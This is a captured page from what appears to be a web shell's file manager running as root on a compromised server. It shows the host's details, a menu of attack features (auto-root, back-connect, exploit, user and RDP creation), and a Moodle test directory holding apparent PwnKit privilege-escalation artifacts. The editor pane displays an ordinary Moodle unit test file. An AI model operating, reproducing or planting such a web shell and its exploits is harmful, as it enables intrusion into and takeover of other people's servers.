Linux vmi284606.contaboserver.net 4.15.0-213-generic #224-Ubuntu SMP Mon Jun 19 13:30:12 UTC 2023 x86_64
Apache/2.4.57 (Ubuntu)
: 167.86.127.34 | : 216.73.217.51
Cant Read [ /etc/named.conf ]
7.2.24-0ubuntu0.18.04.17
root
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
README
+ Create Folder
+ Create File
/
var /
www /
html /
insepet /
libromaster /
lib /
tests /
[ HOME SHELL ]
Name
Size
Permission
Action
.pkexec
[ DIR ]
drwxr-xr-x
GCONV_PATH=.
[ DIR ]
drwxr-xr-x
behat
[ DIR ]
drwxrwxrwx
fixtures
[ DIR ]
drwxrwxrwx
other
[ DIR ]
drwxrwxrwx
performance
[ DIR ]
drwxrwxrwx
.mad-root
0
B
-rw-r--r--
accesslib_test.php
121.33
KB
-rwxrwxrwx
admintree_test.php
4.01
KB
-rwxrwxrwx
authlib_test.php
6.87
KB
-rwxrwxrwx
blocklib_test.php
13.18
KB
-rwxrwxrwx
code_test.php
2.89
KB
-rwxrwxrwx
completionlib_advanced_test.ph...
4.3
KB
-rwxrwxrwx
completionlib_test.php
29.62
KB
-rwxrwxrwx
componentlib_test.php
6.62
KB
-rwxrwxrwx
conditionlib_test.php
33.62
KB
-rwxrwxrwx
configonlylib_test.php
5.62
KB
-rwxrwxrwx
coursecatlib_test.php
27.33
KB
-rwxrwxrwx
csslib_test.php
54.76
KB
-rwxrwxrwx
csvclass_test.php
5.53
KB
-rwxrwxrwx
datalib_test.php
12.26
KB
-rwxrwxrwx
environment_test.php
1.57
KB
-rwxrwxrwx
eventslib_test.php
7.97
KB
-rwxrwxrwx
externallib_test.php
6.19
KB
-rwxrwxrwx
filelib_test.php
14.51
KB
-rwxrwxrwx
filter_test.php
26.7
KB
-rwxrwxrwx
formslib_test.php
28.63
KB
-rwxrwxrwx
gradelib_test.php
2.03
KB
-rwxrwxrwx
grouplib_test.php
18.92
KB
-rwxrwxrwx
html2text_test.php
6.15
KB
-rwxrwxrwx
htmlpurifier_test.php
9.8
KB
-rwxrwxrwx
htmlwriter_test.php
6.3
KB
-rwxrwxrwx
markdown_test.php
2.21
KB
-rwxrwxrwx
mathslib_test.php
8.21
KB
-rwxrwxrwx
medialib_test.php
23.77
KB
-rwxrwxrwx
messagelib_test.php
7.46
KB
-rwxrwxrwx
modinfolib_test.php
8.07
KB
-rwxrwxrwx
moodlelib_test.php
123.49
KB
-rwxrwxrwx
navigationlib_test.php
24.21
KB
-rwxrwxrwx
outputcomponents_test.php
18.2
KB
-rwxrwxrwx
outputlib_test.php
8.9
KB
-rwxrwxrwx
outputrequirementslib_test.php
1.71
KB
-rwxrwxrwx
pagelib_test.php
22.8
KB
-rwxrwxrwx
pluginlib_test.php
37.15
KB
-rwxrwxrwx
pwnkit
10.99
KB
-rwxr-xr-x
questionlib_test.php
3.1
KB
-rwxrwxrwx
rsslib_test.php
7.12
KB
-rwxrwxrwx
setuplib_test.php
5.73
KB
-rwxrwxrwx
statslib_test.php
19.13
KB
-rwxrwxrwx
string_test.php
4.21
KB
-rwxrwxrwx
textlib_test.php
24.62
KB
-rwxrwxrwx
upgradelib_test.php
1.47
KB
-rwxrwxrwx
weblib_test.php
16.3
KB
-rwxrwxrwx
Delete
Unzip
Zip
${this.title}
Close
Code Editor : eventslib_test.php
<?php // This file is part of Moodle - http://moodle.org/ // // Moodle is free software: you can redistribute it and/or modify // it under the terms of the GNU General Public License as published by // the Free Software Foundation, either version 3 of the License, or // (at your option) any later version. // // Moodle is distributed in the hope that it will be useful, // but WITHOUT ANY WARRANTY; without even the implied warranty of // MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the // GNU General Public License for more details. // // You should have received a copy of the GNU General Public License // along with Moodle. If not, see <http://www.gnu.org/licenses/>. /** * Tests events subsystems * * @package core * @subpackage event * @copyright 2007 onwards Martin Dougiamas (http://dougiamas.com) * @author Petr Skoda {@link http://skodak.org} * @license http://www.gnu.org/copyleft/gpl.html GNU GPL v3 or later */ defined('MOODLE_INTERNAL') || die(); class eventslib_testcase extends advanced_testcase { /** * Create temporary entries in the database for these tests. * These tests have to work no matter the data currently in the database * (meaning they should run on a brand new site). This means several items of * data have to be artificially inseminated (:-) in the DB. * @return void */ protected function setUp() { parent::setUp(); // Set global category settings to -1 (not force) eventslib_sample_function_handler('reset'); eventslib_sample_handler_class::static_method('reset'); events_update_definition('unittest'); $this->resetAfterTest(true); } /** * Tests the installation of event handlers from file * @return void */ public function test_events_update_definition__install() { global $CFG, $DB; $dbcount = $DB->count_records('events_handlers', array('component'=>'unittest')); $handlers = array(); require(__DIR__.'/fixtures/events.php'); $filecount = count($handlers); $this->assertEquals($dbcount, $filecount, 'Equal number of handlers in file and db: %s'); } /** * Tests the uninstallation of event handlers from file * @return void */ public function test_events_update_definition__uninstall() { global $DB; events_uninstall('unittest'); $this->assertEquals(0, $DB->count_records('events_handlers', array('component'=>'unittest')), 'All handlers should be uninstalled: %s'); } /** * Tests the update of event handlers from file * @return void */ public function test_events_update_definition__update() { global $DB; // first modify directly existing handler $handler = $DB->get_record('events_handlers', array('component'=>'unittest', 'eventname'=>'test_instant')); $original = $handler->handlerfunction; // change handler in db $DB->set_field('events_handlers', 'handlerfunction', serialize('some_other_function_handler'), array('id'=>$handler->id)); // update the definition, it should revert the handler back events_update_definition('unittest'); $handler = $DB->get_record('events_handlers', array('component'=>'unittest', 'eventname'=>'test_instant')); $this->assertEquals($handler->handlerfunction, $original, 'update should sync db with file definition: %s'); } /** * tests events_trigger_is_registered funtion() * @return void */ public function test_events_is_registered() { $this->assertTrue(events_is_registered('test_instant', 'unittest')); } /** * tests events_trigger funtion() * @return void */ public function test_events_trigger__instant() { $this->assertEquals(0, events_trigger('test_instant', 'ok')); $this->assertEquals(0, events_trigger('test_instant', 'ok')); $this->assertEquals(2, eventslib_sample_function_handler('status')); } /** * tests events_trigger funtion() * @return void */ public function test_events_trigger__cron() { $this->assertEquals(0, events_trigger('test_cron', 'ok')); $this->assertEquals(0, eventslib_sample_handler_class::static_method('status')); events_cron('test_cron'); $this->assertEquals(1, eventslib_sample_handler_class::static_method('status')); } /** * tests events_pending_count() * @return void */ public function test_events_pending_count() { events_trigger('test_cron', 'ok'); events_trigger('test_cron', 'ok'); events_cron('test_cron'); $this->assertEquals(0, events_pending_count('test_cron'), 'all messages should be already dequeued: %s'); } /** * tests events_trigger funtion() when instant handler fails * @return void */ public function test_events_trigger__failed_instant() { $this->assertEquals(1, events_trigger('test_instant', 'fail'), 'fail first event: %s'); $this->assertEquals(1, events_trigger('test_instant', 'ok'), 'this one should fail too: %s'); $this->assertEquals(0, events_cron('test_instant'), 'all events should stay in queue: %s'); $this->assertEquals(2, events_pending_count('test_instant'), 'two events should in queue: %s'); $this->assertEquals(0, eventslib_sample_function_handler('status'), 'verify no event dispatched yet: %s'); eventslib_sample_function_handler('ignorefail'); //ignore "fail" eventdata from now on $this->assertEquals(1, events_trigger('test_instant', 'ok'), 'this one should go to queue directly: %s'); $this->assertEquals(3, events_pending_count('test_instant'), 'three events should in queue: %s'); $this->assertEquals(0, eventslib_sample_function_handler('status'), 'verify previous event was not dispatched: %s'); $this->assertEquals(3, events_cron('test_instant'), 'all events should be dispatched: %s'); $this->assertEquals(3, eventslib_sample_function_handler('status'), 'verify three events were dispatched: %s'); $this->assertEquals(0, events_pending_count('test_instant'), 'no events should in queue: %s'); $this->assertEquals(0, events_trigger('test_instant', 'ok'), 'this event should be dispatched immediately: %s'); $this->assertEquals(4, eventslib_sample_function_handler('status'), 'verify event was dispatched: %s'); $this->assertEquals(0, events_pending_count('test_instant'), 'no events should in queue: %s'); } } // test handler function function eventslib_sample_function_handler($eventdata) { static $called = 0; static $ignorefail = false; if ($eventdata == 'status') { return $called; } else if ($eventdata == 'reset') { $called = 0; $ignorefail = false; return; } else if ($eventdata == 'fail') { if ($ignorefail) { $called++; return true; } else { return false; } } else if ($eventdata == 'ignorefail') { $ignorefail = true; return; } else if ($eventdata == 'ok') { $called++; return true; } print_error('invalideventdata', '', '', $eventdata); } // test handler class with static method class eventslib_sample_handler_class { static function static_method($eventdata) { static $called = 0; static $ignorefail = false; if ($eventdata == 'status') { return $called; } else if ($eventdata == 'reset') { $called = 0; $ignorefail = false; return; } else if ($eventdata == 'fail') { if ($ignorefail) { $called++; return true; } else { return false; } } else if ($eventdata == 'ignorefail') { $ignorefail = true; return; } else if ($eventdata == 'ok') { $called++; return true; } print_error('invalideventdata', '', '', $eventdata); } }
Close